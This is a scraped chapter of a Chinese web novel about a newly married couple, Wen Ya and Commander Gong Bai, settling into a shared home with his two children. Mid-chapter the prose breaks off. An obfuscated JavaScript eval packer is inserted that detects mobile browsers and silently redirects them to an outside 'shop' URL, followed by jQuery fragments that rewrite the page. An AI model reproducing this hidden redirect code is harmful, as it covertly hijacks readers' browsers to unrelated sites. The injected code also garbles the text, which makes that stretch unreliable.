邻里间的这些纠葛,回到家的温雅一无所知,龚百把手推车上卸下来的行李,送进北墙砌着大炕的房间。
“这边有炕,房间也大一些,你住这一间。”
“嗯。”温雅应声抬眼,静静打量屋内。
北墙是一铺大炕,炕头摆着老式木炕柜与矮炕桌,南边两扇木格窗,此刻紧闭着。靠窗立着张方木桌、两把木椅,一盏油灯静静放在桌面。
一目了然,简单质朴,处处透着这个年代的特色。
龚百轻咳一声,“我也不知道你需要什么,”说着,从衣兜里掏出一沓钱票,放在窗边的桌上,“这里有100万和一些票证,你拿着买些用得上的。”
钱政委是给了他几天假期,但时间这么短,木工也赶不出家具来,他索性就没买,想着等扯证后,她可以按喜好添置。
但是,今天被温同志这么一打量,他莫名生出几分招待不周的感觉。
温雅瞧着桌上的钱票,一时间也不知道说什么好。
鼻腔里萦绕着浓烈的艾草味,她忍不住低低咳了两声,顺势避开那份尴尬:“屋里烟太呛,我们出去说吧。”
龚百瞥了眼桌上的钱票,难道温同志嫌弃少了?
但,对方已经出了房门,他快步跟上,顺手把房门带上。
隔着堂屋的另一个房间里传出龚平和龚安嬉闹的声音,温雅被吸引着走过去,就见龚平站在床边,朝躺在床上的龚安做鬼脸,龚安被他逗得咧开嘴、无声乐。
这般天真烂漫的画面,让温雅的嘴角微微往上扬,她顿住脚步,舍不得进去打扰他们。
龚百站在她身后,瞧见这一幕,表情都软和不少。
“我刚才那般跟邻居们说话,你会不会觉得不好?”温雅率先打破俩人间的沉默。
龚百:“没什么不好。”本就是对方先出言酸讽、搬弄是非,没必要委屈退让。
温雅暗自腹诽:可你这语气,半点听不出你觉得我做得没问题的样子啊。
温雅抬眸看向他眉眼,认真问:“我这样,会不会影响你们战友间的相处?”
“怎么会?”龚百面露诧异,见温雅不似是玩笑,他正色道:“真有事,也跟你们女人间的口舌纠葛没关系。”
“女人间的口舌纠葛?”温雅挑眉,带上几分调侃:“龚营长莫非没听过,所谓的家属社交?”
龚百敏锐地觉察出对方话语间的不喜,解释道:“我不是那个意思。我想说,若吴营长真对我不满,那只会是我和他之间的问题,跟你无关。”
温雅不说话,就那样静静望着他,眼底带着几分探究。
龚百继续说:“况且是胡嫂子先出言不逊,你没有当众争吵,只讲道理,做得一点没错。”
“可这样,会不会显得我上纲上线?”温雅并非钻牛角尖,只是她新加入这个家,她需要确认对方的真实想法,好拿捏相处的分寸。
龚百摇头,表情认真:“你的应对方式没有半点问题。”
顿了顿,似是想到什么,他又补充道:“在购销组也是,是他们无礼在先,只是……”
龚百沉吟片刻,目光落在她纤细单薄的身形上,“有些人讲不过道理,便会直接动手,不分男女。”
温雅还真没想到他会这么说,“我要被打了怎么办?”她看着自己细瘦的胳膊,感觉自己肯定打不过别人。
龚百见她听得进劝,认真给出建议:“那就先忍一忍,别发作,回头告诉我,我帮你撑腰。”
“这样的话,你不会觉得很烦吗?我什么事都不做,只依赖你来处理。”温雅抬眸,眼中满是试探。
“你为什么会这么认为?”龚百没想到温雅是这么想的,但想到她曾说过的温父对待她的方式,突然理解了她为什么这么说,他认真道:“我不会觉得烦,因为你不会事事都让我来处理,找我只会是你处理不了的事。”
这个回答,温雅视线缓缓移到另一个房间,声音放的很轻:“我以为你跟我扯证只是因为我可以帮你照顾两个孩子。”
“温同志,我不否认,是有这层缘由,”龚百正色道:“但你现在也是家人。”
温雅下意识垂下眼帘,把眼底翻涌的暖意和欢喜悄悄藏在长睫下,可微微弯起的唇角,还是悄悄泄露了心绪。
龚百锐利地捕捉到了这一抹上扬的角度,他轻咳一声,朝温雅伸出右手,“温雅同志,欢迎你加入我们家。”
看着伸到身前的黝黑的大手,温雅一时有些怔愣。
就在这时,龚平脆生生的声音突然冒了出来:“嘻嘻,温老师,我和龚安也欢迎你加入我们家。”
小家伙转头晃了晃怀里的龚安,不依不饶地追问:“龚安你说对不对呀?”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533042|202324||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
龚安被缠得没办法,小声闷闷应了句:“嗯!”
虽然温雅知道龚安是被龚平烦的没办法才回了一声,可这声稚嫩的应答,还是莫名让她鼻尖一酸。
他们没有说什么,不知道为什么,她就是很想哭。
温雅缓了缓情绪,“龚营长,几次相处下来,你也清楚,我的性子看着温和,却并不软弱。”
龚百没接话,转头看向门口探头探脑、满眼好奇的龚平,语气带着几分威严:“龚平,抱着龚安回屋去,我和温老师有正事要说。”
龚平小嘴一撅,明显不情愿。
龚百沉声道:“快去,等会儿我过去给你们洗漱,天色不早该歇息了。”
温雅下意识抬眼望向院外,漫天晚霞,明明还早,竟就要准备睡觉了?
龚平委屈地噘着嘴,抱着龚安慢悠悠回了屋。
龚百转头看向温雅,神色郑重:“温同志,既然话说到此,有些事,我们不妨敞开好好聊聊?”
温雅见他腰杆挺得笔直,神情严肃得仿佛要商议什么大事,也不由得敛了心神,微微颔首。
龚百率先开口:“温同志,虽然我们结婚是因为不同的目的,但随着钢印落下,我们便是组织认可的夫妻。”
“往后在这个家里,我们承担着各自的任务和责任,温同志无需担心我不会护着你,我也相信温同志能帮我照顾好龚平和龚安。”
说到这儿,他再次伸出那只宽厚的大手,目光坦荡:“往后,愿我们好好相处,彼此安分守心。”
温雅望着他沉稳坚毅的眉眼,他说了往后。
但往后有多久?
她心头莫名浮现他在书中的结局。
10月,北方战场,他再也没回来。
她知道自己能力有限,她知道自己都还没脱离死亡结局,她知道……
但,她真的可以旁观他一步步走向书中的结局吗?
脑中思绪万千,落在现实里却只有短短几秒。
温雅伸出右手,握住对面男人温热的手掌,神色认真,一字一句应下承诺:“只要你肯护我安稳,我便会倾尽所能,好好照顾两个孩子,守好这个家。”
两手交握,感受到彼此的体温。
松开手后,龚百目光在墙上的日历上停留了一瞬。
什么都没说,也什么都没做。